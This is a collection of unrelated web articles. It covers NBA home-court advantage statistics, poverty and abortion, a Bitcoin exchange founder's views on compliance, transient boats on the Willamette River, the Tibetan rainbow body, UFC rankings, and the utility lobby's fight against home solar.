odds of a 25-standard-deviation event are comparable to winning the lottery 21 or 22 times in a row: the fact that it happened even once proved that the model used to estimate those probabilities was gravely flawed.  Mr Haberstroh and Mr Ilardi seem to have succumbed to a similar fallacy. Although three standard deviations are a far cry from 25, and such events do happen from time to time, they should be extraordinarily rare. In fact, shifts in home-court advantage of the magnitude they identified (about one point per hundred possessions) have occurred multiple times in the past 20 seasons alone. From 1994 to 1995 the home edge fell by 0.9 points per 100 possessions, and from 1997 to 1999 it rose by 1.0 points. By the authors’ interpretation, both of those moves were so unlikely that they almost surely represented a fundamental, enduring change in home teams’ expected win rate. In fact, those fluctuations occurred during the most stable period of home-court advantage in the league’s history: two decades in which a five-year moving average of the home victory rate barely budged.  None of this means that the “true” home-court edge is set in stone, or that all deviations from the prior norm will regress back to the established mean. On the contrary, numerous changes in the ratio over the years have stuck: for example, NBA teams won 65% of their regular-season home games from 1975-1992, compared with just 60% since then. And despite home teams’ strong run during the final months of the season, their overall 57.4% win percentage 2014-15 was indeed the lowest in the league’s history. Is there any reason to believe that some portion of this decline may turn out to be permanent as well?  Answering that question requires moving beyond a pure frequentist analysis of home win percentages alone, and trying to determine whether there are any fundamental changes in the league that might be behind the drop. Mr Haberstroh and Mr Ilardi offer three potential candidates (though they made no effort to test any of them). The first, and probably the weakest, is that teams’ greedy forsaking of rabid working-class fans in order to sell high-priced luxury boxes to big companies has led to a decline in the crowd’s enthusiasm, since corporate suits are too busy toying with their iPhones or hammering out deals to bother cheering. If this effect is real, detecting it would be fairly straightforward. The NBA has historically monitored decibel readings at every game to prevent teams from cranking up the sound system with distracting noise while their opponents have the ball. That data could easily be used to find out whether sound levels have drifted down over time, or whether teams in louder arenas benefit from a bigger home-court advantage than those in quieter ones. However, at the anecdotal level, most noise-related basketball coverage in recent years has focused on the volume being too high, not the other way around.  A potentially more compelling argument is that travel conditions have improved. The last time home-court advantage really did shrink for good, in the early 1990s, it coincided with a league-wide shift from commercial flights—a particular hardship for seven-foot (2.15-metre) tall basketball players—to chartered planes, and from budget hotels with burgers-and-fries room service to palatial suites at five-star properties. Mr Haberstroh and Mr Ilardi note that teams have continued to find ways to improve their players’ performance on the road through biometric methods. If scientifically engineered diets, sleep schedules and training regimens can meaningfully reduce wear and tear, that would indeed level the playing field between home and visiting clubs. But if such gains do exist, they are likely to be both difficult to measure and incremental in pace—a poor match for an abrupt decline in home-court advantage during the past few seasons.  The authors’ most promising hypothesis is that home-court advantage has shrunk because of the changing style of play in the NBA. Fouls are called by referees, and referees in almost every sport have historically demonstrated a notorious home-team bias. As a result, the more that players come into physical contact with each other, the more opportunities referees have to slant their judgment calls to please the crowd.  Those chances have decreased in recent years. As the league has shifted towards a more open game relying on long-distance shooting, players have been increasingly spaced out on the floor, making them less likely to bump into each other. As a result, free throws—the uncontested shots granted to offensive players when opponents make illegal contact with them—have become less important. As recently as 2005-06, 20.2% of points were scored on free throws; last year that figure was 17.1%. Holding all else equal, that shift should lead to a small decrease in home-court advantage.  Sure enough, there has indeed been a moderately strong relationship during the past 30 seasons between successful free throws as a share of total points and home-court advantage. Each additional percentage point of overall scoring that comes at the free-throw line has been associated with an extra 1.85 percentage points of win rate for home teams (a correlation that would occur by chance about once every 3,000 times, in case any frequentists are wondering). The past four seasons have been the four lowest since 1975 in the category of made free throws divided by points scored, and three of the four lowest in home-court advantage. The case is not airtight—in past seasons, referees have granted almost identical numbers of free throws to home and away teams, without a corresponding dip in home-court advantage—but it is at least a credible feather on the scale.  Given this plausible structural explanation, it may well turn out to be true that home-court advantage in the NBA has narrowed slightly, from the 1993-2011 average of 60.3% to a figure around the 2011-15 mean of 58.8%. If nothing else, some reduction is likely in the future simply because of the campaign by Adam Silver, who became the NBA’s commissioner last year, to reduce bias by referees—a problem that has been in the spotlight ever since Tim Donaghy, a former referee, admitted to betting on games in 2007. But even if the 2014-15 numbers are the new normal, a decline of 1.5 percentage points is hardly the “#HomeCourtDisadvantage” that Mr Haberstroh and Mr Ilardi suggested as a Twitter hashtag for discussion of their work. A shift of such modest magnitude will hardly cause teams to reduce their efforts to win in the regular season—among the rewards for clubs with the best regular-season records is home-court advantage in the playoffs—or bettors to adjust their wagers in favour of the visitors.  To their partial credit, the authors did post a third article in early March noting that home teams had performed exceedingly well during the previous month (though unlike the first two, this one was buried behind ESPN’s paywall). Moreover, they anticipated likely criticisms of their findings, writing that “you’re probably thinking that this might be a random blip attributable to statistical noise”. They even linked to a blog post that outlines the pitfalls of odds calculations about seemingly improbable events.  But in the end, Mr Haberstroh and Mr Ilardi still couldn’t resist the temptation to build narratives based on (probably) random numbers, even when doing so required them to contradict directly the thesis they published just one month before. Narrowing down their sample even further to a sub-set of games they deemed to be particularly close within a 30-day window, they wrote that “the recent dramatic increase in clutch winning percentage is statistically significant and highly unlikely to be due to chance variation...The home team’s dominance over the past month was so off-the-charts that almost certainly something has to be driving it.” In other words, they now believe that even though home-court advantage is shrinking overall, it has simultaneously grown stronger than ever in games that happen to conclude within an arbitrary scoring margin.  Goldman Sachs probably has no trouble finding investors to buy into its supposedly unlucky hedge funds. But if any of their salespeople happen to read this piece, we’d like to suggest two writers that might be worth a call.
-Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.  Thank you for signing up. For more from The Nation, check out our latest issue  Subscribe now for as little as $2 a month!  Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter.  Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week.  Thank you for signing up. For more from The Nation, check out our latest issue  Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits.  Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine?  If there were less poverty, would there be less abortion? At first, the answer seems an obvious yes. After all, in 2014, 49 percent of the women who had abortions were poor, and 26 percent were low-income—far more than their proportion in the population at large. In a 2005 survey by Guttmacher Institute researchers, 73 percent of women seeking abortion said they couldn’t afford to raise a child. A 2013 study by M. Antonia Biggs, Heather Gould, and Diana Greene Foster found that 40 percent of women cited “financial reasons” as a reason to have an abortion. Some otherwise progressive anti-choice Catholics—Elizabeth Bruenig and Charlie Camosy, for example—argue that if those women had had more economic support for motherhood, they would have had their babies. Is this correct? Ad Policy  Not necessarily. In both surveys, women could give multiple answers. In the Guttmacher study, 74 percent said that “having a baby would dramatically change my life”; 48 percent said they didn’t want to be a single mother or were having relationship problems; nearly 40 percent said they had finished their childbearing; and almost one-third said they weren’t ready to have a child. In the 2013 study, 36 percent said it was “not the right time for a baby”; 29 percent needed to focus on the children they already had; 14 percent said having a baby now would interfere with their education; 7 percent said they were not independent or mature enough; and 3 percent said they never wanted kids. In both studies, around 12 percent cited health problems, either with themselves or the fetus. As with many other important life decisions, the reasons are intertwined and quite individual—as varied and personal as the reasons women give for having a baby. In the 2013 study, a mere 6 percent gave finances as the only reason for ending their pregnancy. A glance at the social-welfare states of Western Europe shows that when it comes to motherhood, money isn’t everything.  Behind the notion that abortion is mostly due to poverty is the idea that women basically want to have a baby, or at least would prefer it to ending a pregnancy—even if the pregnancy was unplanned, ill-timed, or under personally inauspicious circumstances. Given enough support, who wouldn’t want to have a baby with her freshman-year boyfriend or her stalkerish ex? Raising three, four, or more kids as a single mother, even though you only wanted two? No problem. A glance at the social-welfare states of Western Europe, though, shows that money isn’t everything. These countries offer more support for single parents and families than the United States ever will. In Sweden, besides programs that reduce poverty dramatically, everyone gets nearly free health and childcare, as well as parental and family leave, a monthly allowance that increases with each child, and much more. And yet the rate of abortion in Sweden is higher than in the United States: 17.5 per 1,000 women, to our 13.2. Also, while Sweden’s rate is on the high side, France, Denmark, and even Canada also have higher rates than we do, despite less poverty and more support for families. True, Germany (7.4) and the Netherlands (8.5) have lower rates, but not necessarily because German and Dutch women welcome unplanned children. The Dutch fertility rate of 1.7 children per woman is lower than ours (1.9, same as Sweden’s), and the German rate (1.4) is one of the lowest in the world. In countries where the birth rate and the abortion rate are both low, women must be doing some ferocious contracepting.  For obvious reasons, even progressive Catholics tend not to mention birth control much when they talk about lowering the abortion rate. But as the United Nations Population Fund, among others, has found, widespread effective contraception is the only way to significantly reduce abortion. Those states that reduce poverty also provide ready access to birth control. LIKE THIS? GET MORE OF OUR BEST REPORTING AND ANALYSIS  Let’s assume that we want all women, not just mothers, to be less poor. In that case, women would be less likely to get pregnant accidentally. Their lives would be more stable and their healthcare more consistent. That would mean fewer abortions. But by the same token, if they were less poor, they might be more likely to end unintended pregnancies—because they could afford to do so. That would mean more abortions. Right now, restrictive laws can raise the cost of a clinic visit from around $500 to as much as $1,500, and plenty of women can’t put the money together in time. What if they were making $15 an hour? Had paid sick leave? A guaranteed annual income? The abortion researcher Stanley Henshaw found that one in four pregnant women on Medicaid were unable to have an abortion when state Medicaid barred abortion coverage, as in 32 states and the District of Columbia. What if the single-payer insurance that progressives want covered abortion? Family benefits might encourage a woman to keep a pregnancy—or they might encourage her to focus on giving her existing child(ren) the best possible life by finishing school or getting a job. I realize I’m just speculating, but it’s worth noting that while poor women have more abortions than better-off ones, they also have more children. If they were less poor, they might want fewer kids for the same reasons that middle-class women do.  Just to be clear, I completely support government policies that lessen—eradicate!—child poverty and ease the lot of mothers and families. If state benefits meant that more women could keep pregnancies they wanted and avoid abortions they found morally wrong, that would be excellent. But lowering poverty and lowering abortion are two different things for a reason. Being a mother is always going to require an enormous personal investment of money, energy, time, and emotion. It can be a joy—my daughter is my heart’s delight—but there’s a reason the word “sacrifice” comes up a lot when people talk about motherhood. There are reasons, too, why women around the world increasingly want small, planned families that are started later, when the rest of life—education, work, partner, personal well-being—is on track.  Katha Pollitt is a Puffin Foundation Writing Fellow at the Nation Institute.
-[Reading Time: 9 minutes]  Interview with Megan Burton, founder and CEO of CoinX  Early last month, at a Bitcoin pitch contest organized by Ultra Light Startups, the winner, Atlanta-based CoinX, beat the competition by a landslide. To be precise, the show-stealer was actually Megan Burton, its founder and CEO. John Frankel, partner of venture-capital firm ff Venture Capital, one of the three expert judges in the panel, said to me: “It was a strong presentation. She came across as someone who has done her homework and her strategy seems sound.”  Megan, whom I was delighted to meet in person last week at the Inside Bitcoins conference in New York City, has graciously agreed to an interview. Enjoy!  Juan: Please tell us about your background and how you got involved with Bitcoin.  Megan: My background is in internet and payments security. I first came across Bitcoin in the spring of 2012, when reading an article on the BBC website about a foreign currency exchange that had been shut down as a result of a security breach. Nothing out of the ordinary, except that this breach had been due to an encryption vulnerability in a digital currency called Bitcoin, which of course I’d never heard of before. I looked it up online and started reading the wiki and articles about. It immediately grabbed my attention. I opened up an account and played around for a while, and was immediately hooked. What fascinated me were the myriad product ideas it triggered in my mind and the fact that its adoption was in its infancy. I spent the majority of my time researching and analyzing the digital currency marketplace and quickly found out that there wasn’t a platform in place to support mass-adoption – for consumers and merchants. I assembled a team and we spent every waking moment developing what we think will set the industry standard going forward for digital currency.  Juan: What was the Eureka! moment, the spark that eventually led you to found CoinX?  Megan: I was very curious about the uses that could be given to this virtual currency. I started brainstorming with myself and others about who might use Bitcoin, why would they, in what circumstances, for what, etc., etc. Then I decided to give it a try in the real world. I proposed to a vendor in South Africa if he would accept taking the payment of a large invoice in virtual currency. He agreed. We both opened accounts with Mt.Gox. I purchased BTC with US dollars, sent the BTC to his wallet, and then he converted the BTC to rands. The eureka moment for me was finding out that we ended up paying less than 2% for the entire transfer. Together! So I wrote a business plan around September, and at the end of my maternity leave put together a team, and here we are.  “The eureka moment was finding out that we ended up paying less than 2% for the entire transfer.”  Juan: Last month you won the Ultra Light Startups competition without even giving a demo or many details about your platform. Instead, you focused on compliance. What prompted you to lead with compliance, rather than product?  Megan: The format of the contest is two minutes for the pitch, three minutes for Q&A and three minutes for the feedback by the judges. We really didn’t have time for a demo or a detailed slide deck, so I had to be very concise and articulate. We were actually given a sample template, and I focused on following it to a tee. I divided up my two minutes into thirteen points, which I tried to cover as clearly and fast as possible.  Juan: Can you please make the pitch one more time for us?  Megan: Mmmm. I didn’t actually write it out (laughs). I only had a few bullet points jotted down. Let’s see. I said something like this: “My name is Megan Burton, and I’m a serial entrepreneur. There are thirteen virtual currency exchanges in the US and, if the industry is to survive, we all need to focus on four key aspects: legitimacy, compliance, liquidity and security. CoinX’s product advantages are in the speed and mechanisms to get in and out. We are hosted on the New York Stock Exchange, so that takes care of speed, and we offer eight ways to get money in, and seven ways to get money out. Our revenue model is based on sell-side transaction fees. Our most important advantage, however, is our focus on regulatory compliance. We believe that the industry needs legitimacy, and compliance equals legitimacy. In order for a virtual currency to survive, whether the Bitcoin of today or any future evolution, it needs to be legitimate for the market it serves. Embracing compliance will create the legitimacy we need.”  Juan: Well said! I can now at least begin to understand what the impact of those words must have been.  Megan: Thanks. I truly believe that compliance is foundational. Without solid compliance, and for us the strategy is obtaining our own state licenses, banking relationships will not be possible, and without banks we cannot take our product to market.  “The virtual currencies industry needs legitimacy, and compliance equals legitimacy.”  Juan: That’s a good segway to the next topic –banks. The so-called ‘unbanking’ problem –the denial of banking services to MSBs– is a harsh reality that traditional MSBs have lived with for decades, and virtual currency providers are now just beginning to experience first-hand. What does it take to convince traditional financial institutions to partner with Coinx?  Megan: I agree the issue is real. We first attempted to open an account with Silicon Valley Bank, but they put a cap to their virtual currency portfolio, so we were left out. Today, I’m happy to announce that after a three-month onboarding process, a top 10 bank listed in SNL Financials Annual Top 50 Banks (ranked by thrifts and assets) has accepted us as their client. This bank also has a cap on new accounts, but we were able to get in because of a seven-year preexisting relationship in which we demonstrated who we were and built trust. Today there are thirteen to fifteen MSB-friendly banks that I know of in the U.S., and all of them have very strict due diligence processes. Based on the SNL Financial ratings, CoinX is now a client of 3 of the top 10 banks on the list, and in the near future we’ll continue to add additional banks. I must point out that in no way am I complaining about banks being strict. You have to see the world from their vantage point too. Banks are legitimately wary of illicit funds flowing through them, and they too are subject to oversight by their own regulators.  Juan: Congratulations on obtaining the new account! What advice would you give others to earn their banks’ trust? What are a bank’s biggest concerns?  Megan: The first thing everyone should understand is that going through a retail branch does not work. You have to get in, at a minimum, at the VP or similar senior level, and form a relationship with the Compliance Officer. It is fundamental to engage and educate banks about the industry, the technology, the product. A bank’s primary concern is that the funds come from a legitimate source. Where does the money come from on either end of the trade? How do you know that you’re not transmitting illegal money? There are a lot of ‘what-ifs’. They don’t want us to take money from illicit operations. That is a legitimate concern of banks and it must be our concern too. None of us would like that to happen.  Juan: Clearly you consider compliance as a cornerstone of your venture. As a startup founder, do you have a philosophy or approach to doing compliance?  Megan: I do, actually. My philosophy is simple: execution is more important than policy. Having an AML policy is one thing, and a relatively easy one. Executing it is what really matters. Trust is crucial, but equally important is implementing the controls stated in your policy.  Juan: I’m glad to hear that. I’ve been advocating for substance over form for a long time. Many companies have 75-page manuals, but when the time comes to demonstrate the procedure that implements the policy, and the control put in place to ensure that the procedure was executed, they can’t. Policies need procedures, and procedures need controls.  Megan: I agree. You need to build strong customer and source of funds verification procedures. If you have a layered verification system, for instance, where IP addresses are matched, can you demonstrate that the addresses match? It’s all about the ‘procedurization’ of the policy.  “If I cannot get CoinX to market myself I probably don’t deserve to take outside funding.”  Juan: How about insourcing versus outsourcing?  Megan: It all depends on what you’re good at. You have to evaluate your skills and focus on your strengths. For example, I have a strong procedural background, I have ample experience in PCI (Payment Card Industry) compliance, which is all about security procedures, and that’s what I exploit. I am well-versed in security and procedure, so I leverage that. We take a hybrid approach: we take care of what we’re good at internally, and then partner with outside experts in what we’re not that good at. Outside assistance helps you keep fresh. They’re supposed to stay abreast of the cutting edge in their particular areas of expertise, and that’s great. They have the luxury of seeing multiple environments, so there’s value in leveraging that.  Juan: What other things keep you awake? What are your top priorities today?  Megan: My priority today is putting everything together and executing. There are so many moving parts, and all are interconnected… I literally sometimes wake up at 2 am in the morning making sure I sent that file here or delivered that piece there. I would say that’s the top priority. Then, of course, I keep working with regulators, trying to ensure that the state applications are moving. We need to get those finalized as soon as possible.  Juan: Do you see any other ways to leverage for the business as a whole the infrastructure, the systems and controls that you’re building for compliance?  Megan: Over the past few months, the whole regulatory compliance situation has been a learning, sobering, experience. Not only for me, but for the entire industry. I think that everything that we’re doing is going to help legitimize us. I confess that the whole thing has given me pause. Entrepreneurs usually go on stealth mode, even after launch. This has put scrutiny on me before the launch in ways I never imagined would be possible. It’s all being a balance test.  Juan: I was actually wondering if you think it’s possible to leverage, for instance, the intensive data analysis that has to happen for money laundering prevention and compliance, to inform business or marketing decisions, but I won’t strike out your answer.  Megan: Oh, yes, absolutely. I agree, and we’re actively working on that.  “If we cannot overcome the compliance hurdle, digital currencies won’t survive.”  Juan: Going to back to this whole thing given you pause and being a test…  Megan: Yes, I’m constantly asking myself: “Am I serving the customer right, but doing this?” What I mean by a test is that the focus today on back-office compliance, rather than product enhancement, is an opportunity to prove that I can execute. We’re not ready for outside investment now. It would be disingenuous to use external funds to build the regulatory infrastructure. I have to build the minimum viable product first, which in this case requires a solid compliance foundation. If I cannot get CoinX to market myself, I probably don’t deserve to take outside funding. I have to earn it and then use it for what it should only be used: product enhancement and growth.  Juan: Any final thoughts?  Megan: It all has been a challenge but not only for us, for the entire industry. This has made us all aware that if we cannot overcome the compliance hurdle, the digital currency won’t survive. Virtual currencies already have a strong enough grass-roots adoption, which suggests the probability of massive adoption is high. It may not be this iteration of Bitcoin; it may be Bitcoin 2.0, but everything points to a high likelihood of success. That’s why our digital currency platform is being built from the ground up to account for all iterations of digital currencies, so we can grow as the market grows. This is too important to not help succeed as an industry. We should all go on and help legitimize the industry.  Smart, mature and wise, Megan embodies much of the overarching message I am trying to convey with my blog –that a venture needs solid foundations, that, being inevitable, regulation must be addressed with an engineering mindset and built into a company’s DNA. For all that, she has earned my deepest respect and I hope she earns yours too.  40.783434 -73.966250  Advertisements
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-PORTLAND, Ore. -- Illegally anchored in the Willamette River. Transient boats, many of them releasing raw sewage into the water, have multiplied over the years. Now, two months after some were given trespass notices, they are still out there, waiting to see a judge.  The Department of State Lands has jurisdiction over the river, and the rule is, boats can be anchored in Oregon waters for 30 days. After that, they must move five miles, and can't return to the same spot for a year. If they don't move, officials must follow the legal process, and give them a chance to go to court to be heard.  In May, KGW watched as 13 trespass notices were issued to illegally anchored transient boats, many in the Holgate Slough and near Ross Island. Those boaters had a decision to make: Either comply and move the five miles, or request a court hearing.  We're told nine will have a hearing by an administrative law judge in August, the other four did move their boats and their next 30 day countdown began.  "The boaters themselves are questioning whether or not we have the legal authority," said Lori Warner-Dickason of the Department of State Lands, who's handling the cases. That's because it's the first sweep of its kind for this water rule on the Willamette. The homeless problem on the river started after the recession, Warner-Dickason said, in around 2011.  Sign up for the daily 3 Things to Know Newsletter Thank You Something went wrong. This email will be delivered to your inbox once a day in the morning. Thank you for signing up for the 3 things to Know Newsletter Please try again later.  Submit  Once a judge upholds the department's 30-day rule in court, that will set a precedent. State Lands plans to then go after the rest of the boats you see.  But it's tough. The trespass notices must be served in person, since there's no mailing address. If no one's onboard, they leave the paper, then have to wait for a response and go back again.  Usually the person who is living onboard isn't the boat owner. Some boats don't have any registration markings on them at all.  "It does make it complicated, it requires a lot of tracking," said Warner-Dickason. "There's a balance here that we're trying to implement, and that is the public's ability to use the river for recreational purposes and balance that with folks who are using it on a continual basis."  Bonnie Bruce of Portland is on the river almost every day.  "I've been rowing for 30 years so it's part of my DNA," Bruce said. She loves the calmness in the morning, but lately, that's changed.  "I rowed through human waste," she said. "I'm all for everyone's rights, but at the same time, this is taking forever."  What's even more frustrating for Bruce is that several boaters have told the state they have jobs, and could get housing, they just prefer living this way, tax free.  "I'm not up for anyone losing their boat," she said. "I think nobody is really threatening that. They just have to move it! Just move it and observe the law."  The Department of State Lands says all but one of the boaters going to court will be represented by a public defender. It's not a criminal charge, but if the judge finds them in violation of the rule, they could get a $100 per day fine for every day they've been out of compliance.  We'll stay on this story, and bring you an update when they get in front of a judge in August.
-Rainbow body (Tib. འཇའ་ལུས་, ja lü, Wyl. 'ja' lus) — fully accomplished Dzogchen practitioners can dissolve their body at the time of death.  Through the practice of trekchö, the practitioner can attain the so-called ‘rainbow body’, in which the body becomes smaller and smaller as it dissolves, emanating rainbow light, and finally only the hair and nails are left behind.  Through the practice of tögal, the practitioner can dissolve his or her body into the ‘Light Body’ (Tib. འོད་སྐུ་, ö ku ), where the body transforms into light and disappears completely into space. This was done by Garab Dorje, Manjushrimitra, Shri Singha, Jnanasutra and Vairotsana.  ), where the body transforms into light and disappears completely into space. This was done by Garab Dorje, Manjushrimitra, Shri Singha, Jnanasutra and Vairotsana. Another accomplishment of tögal practice is the ‘Rainbow Body of Great Transference’ (Tib. འཇའ་ལུས་འཕོ་བ་ཆེན་པོ་, ja lü phowa chenpo; Wyl. 'ja lus 'pho ba chen po), where the master dissolves his or her body into rainbow light and lives for centuries in order to benefit others. Such was the case with Padmasambhava, Vimalamitra, Nyang Tingdzin Zangpo and Chetsün Senge Wangchuk.  Other Recent Examples  Notes  ↑ http://www.thenon2.com/lama-achuk-rinpoche The body of Lama Achuk shrunk from a height of 1.8 meters to about 1 inch tall, a sign of achieving the rainbow body. ↑ http://www.dharmawheel.net/viewtopic.php?f=49&t=4849 Information on the passing of Akhyuk Rinpoche.  Further Reading
-Ultimate Fighting Championship (UFC) recently updated its official fighter rankings to reflect the results of its UFC Fight Night 86 mixed martial arts (MMA) event, which took place last Sunday (April 10, 2016) inside Croatia's Zagreb Arena on FOX Sports 1.  Full results and play-by-play here.  As expected, heavyweight bruiser Ben Rothwell lost some of his momentum following a five-round decision loss to ex-division champion Junior dos Santos (replay), who helped his own cause in the 265-pound title chase. Elsewhere on the card, Derrick Lewis cracked the Top 15 by cracking unranked veteran Gabriel Gonzaga (watch it).  That's not all.  Here's what the latest ranking field looks like courtesy of UFC.com. Note: (+/- = movement in rankings, *NR = Not previously ranked).  POUND-FOR-POUND  1 Jon Jones  2 Demetrious Johnson  3 Luke Rockhold  4 Fabricio Werdum  5 Dominick Cruz  6 Rafael Dos Anjos  7 Robbie Lawler  8 Conor McGregor  9 Daniel Cormier  10 Jose Aldo  11 Chris Weidman  12 Frankie Edgar  13 TJ Dillashaw  14 Joanna Jedrzejczyk  15 Miesha Tate  FLYWEIGHT  Champion: Demetrious Johnson  1 Joseph Benavidez  2 Henry Cejudo  3 John Dodson  4 Jussier Formiga  5 Ian McCall  6 Kyoji Horiguchi  7 John Moraga  8 Zach Makovsky  9 Wilson Reis  10 Dustin Ortiz  11 Ali Bagautinov  12 Justin Scoggins  13 Louis Smolka  14 Ray Borg  15 Sergio Pettis  BANTAMWEIGHT  Champion: Dominick Cruz  1 TJ Dillashaw  2 Renan Barao +2  3 Urijah Faber -1  4 Raphael Assuncao -1  5 Aljamain Sterling -1  6 Michael McDonald  7 Thomas Almeida  8 Bryan Caraway  9 Takeya Mizugaki  10 Johnny Eduardo  11 Frankie Saenz +2  12 John Lineker  13 Jimmie Rivera -2  14 Eddie Wineland  15 Cody Garbrandt  FEATHERWEIGHT  Champion: Conor McGregor  1 Jose Aldo  2 Frankie Edgar  3 Chad Mendes  4 Max Holloway  5 Ricardo Lamas  6 Cub Swanson  7 Charles Oliveira  8 Dennis Bermudez  9 Jeremy Stephens  10 Hacran Dias  11 Darren Elkins  12 Brian Ortega  13 Tatsuya Kawajiri  14 Clay Guida +1  15 Mirsad Bektic *NR  LIGHTWEIGHT  Champion: Rafael Dos Anjos  1 Eddie Alvarez  2 Khabib Nurmagomedov  3 Anthony Pettis  4 Tony Ferguson  5 Nate Diaz  6 Donald Cerrone +3  7 Michael Johnson -1  7 Beneil Dariush  9 Edson Barboza -1  10 Dustin Poirier  11 Al Iaquinta  12 Bobby Green  13 Evan Dunham  14 Michael Chiesa  15 Rashid Magomedov  WELTERWEIGHT  Champion: Robbie Lawler  1 Rory MacDonald  2 Stephen Thompson  3 Tyron Woodley  4 Carlos Condit  5 Johny Hendricks  6 Demian Maia  7 Neil Magny  8 Matt Brown  9 Dong Hyun Kim  10 Tarec Saffiedine  11 Rick Story  12 Kelvin Gastelum  13 Albert Tumenov  14 Hector Lombard  15 Thiago Alves  MIDDLEWEIGHT  Champion: Luke Rockhold  1 Chris Weidman  2 Jacare Souza  3 Vitor Belfort  4 Michael Bisping  5 Lyoto Machida  6 Anderson Silva  7 Robert Whittaker  8 Gegard Mousasi  9 Tim Kennedy  10 Uriah Hall  11 Derek Brunson  12 Thales Leites  13 Rafael Natal  14 Dan Henderson  15 CB Dollaway  LIGHT HEAVYWEIGHT  Champion: Daniel Cormier  1 Jon Jones  2 Anthony Johnson  3 Alexander Gustafsson  4 Glover Teixeira  5 Ryan Bader  6 Ovince Saint Preux  7 Rashad Evans  8 Mauricio Rua  9 Jimi Manuwa  10 Antonio Rogerio Nogueira  11 Patrick Cummins  12 Corey Anderson  13 Ilir Latifi  14 Nikita Krylov  15 Gian Villante  HEAVYWEIGHT  Champion: Fabricio Werdum  1 Cain Velasquez  2 Stipe Miocic  3 Alistair Overeem  4 Junior Dos Santos +1  5 Andrei Arlovski +1  6 Ben Rothwell -2  7 Travis Browne  8 Mark Hunt  9 Josh Barnett  10 Roy Nelson +1  11 Frank Mir -1  12 Antonio Silva  13 Derrick Lewis *NR  14 Ruslan Magomedov -1  15 Alexey Oliynyk -1  WOMEN'S STRAWWEIGHT  Champion: Joanna Jedrzejczyk  1 Claudia Gadelha  2 Carla Esparza  3 Rose Namajunas  4 Tecia Torres  5 Jessica Penne  6 Valerie Letourneau  7 Paige VanZant  8 Maryna Moroz +1  9 Michelle Waterson -1  10 Karolina Kowalkiewicz  11 Joanne Calderwood  12 Randa Markos  13 Jessica Aguilar  14 Juliana Lima  15 Justine Kish  WOMEN'S BANTAMWEIGHT  Champion: Miesha Tate  1 Holly Holm  2 Ronda Rousey  3 Cat Zingano  4 Amanda Nunes  5 Julianna Pena  6 Sara McMann  7 Jessica Eye  8 Bethe Correia  9 Liz Carmouche  10 Valentina Shevchenko +1  11 Raquel Pennington +1  12 Germaine de Randamie +1  13 Lauren Murphy +1  14 Marion Reneau +1  15 Ashlee Evans-Smith *NR  Notes:  --Sarah Kaufman bounced from women's bantamweight rankings (previously No. 10)  --Renan Barao still eligible at bantamweight despite move to featherweight  --Donald Cerrone still eligible at lightweight despite (temporary?) move to welterweight  You can expect these standings to change this weekend -- particularly in the light heavyweight division -- as the UFC on FOX 19 event takes place inside Amalie Arena in Tampa, Florida, featuring Glover Teixeira vs. Rashad Evans.  Until then, let us know what you think of the latest rankings movement in the comments section below.
-Having stepped away from the dirty fight utilities have picked with the home-solar movement for a couple of weeks, I was able to take a bird’s-eye view of everything we’ve covered. I realized that I’ve flown over this debate before. This isn’t the first time I’ve watched fossil fuel-based, investor-owned utilities get into the pockets, coffers, and heads of black “leaders” and officials to nip the blossom of clean energy.  Back in 2009, when the Waxman-Markey climate bill was moving slowly through Congress, fossil fuel companies were ringing alarms about the rise of renewable energy, sounding like Andre 3 Stacks in UGK’s “International Players Anthem“:  The atmosphere is now ripped,  I’m so like a pimp,  I’m glad it’s night, so the light  from the sun  would not burn me on my bum  When I shoot the moon, high jump the broom,  like a preemie out the womb,  my partner yelling, ‘Too soon!  Don’t do it! Reconsider!  Read some liter-  ature on the subject.  Using black and brown voices to Auto-Tune melodies for communities of color, the fossil fuel and utility companies were singing: It’s “too soon” for solar; Don’t let the sun burn our asses; Reconsider these clean energy proposals; Read this literature from our fossil fuel factory researchers to understand what we’re talking about.  At a July 2009 Senate hearing, National Black Chamber of Commerce President Harry Alford, made the case that the climate bill would cause home heating bills to skyrocket, and for African Americans and Latinos most especially. To back up his claims, he held up a report from CRA International, which represents the interest of electric utilities and gas companies. The report also claimed clean energy would cost the nation jobs. Sen. Barbara Boxer (D-Calif.) challenged Alford’s CRA study, pointing out that it was funded by Exxon Mobil, a fossil fuel giant that was fighting the bill. Alford’s chamber of commerce also was on Exxon’s contribution rolls, having accepted $350,000, at the time, from the oil and gas company since 1998.  Alford wasn’t — isn’t — the only black voice on the take from fossil fuel energy. A few years before the climate bill, a coal lobby group called Center for Energy and Economic Development was gifting groups like the National Institute for Latino Development, the U.S. Hispanic Chamber of Commerce, and Alford’s Black Chamber of Commerce with studies like this one, saying that the Kyoto Climate Change agreement would threaten the economic well-being of African Americans and Latinos.  Independent studies, including reports from the Congressional Budget Office, had been showing that laws for curbing climate change and boosting renewable energy would actually save families money on their electric bills. But the fossil fuel lobbies made enough of an impression that two members of the Congressional Black Caucus ended up voting against the Waxman-Markey bill, including then-Rep. Artur Davis (Ala.), in one of his earliest signals of his eventual turn toward the GOP. Davis, of course, cited jobs and electric bills in explaining his nay vote.  The players have changed somewhat today, but the game is still the same. The main player these days is Edison Electric Institute, an electric utility lobby that’s been using the voices of African-American and Latino-American elected officials to attack the spread of home-produced solar energy. They’ve zeroed in on net metering policies, which allow solar households to sell excess electricity they generate back to utility companies and roll back their electric bill costs in the process.  Utility companies are concerned that net metering its cutting into profits paid to utility shareholders. Perhaps they underestimated how quickly distributed solar generation would spread — installed solar capacity has grown 418 percent since 2010. They’re now waging war on net metering by convincing some black and brown officials that solar is the exclusive province of white, wealthy households that are being subsidized by non-solar residents, particularly people of color and the low income. Consequently, utility companies will have no alternative, they contend, but to make up for the revenue they’re losing by increasing fees in electric bills, which will disproportionately burden poor households.  Some black elected officials have simply accepted this fate for their constituents instead of challenging the utility companies, and have been echoing the utilities’ calls for increasing fees for electricity. Here’s a passage from the National Black Caucus of State Legislators report on solar net 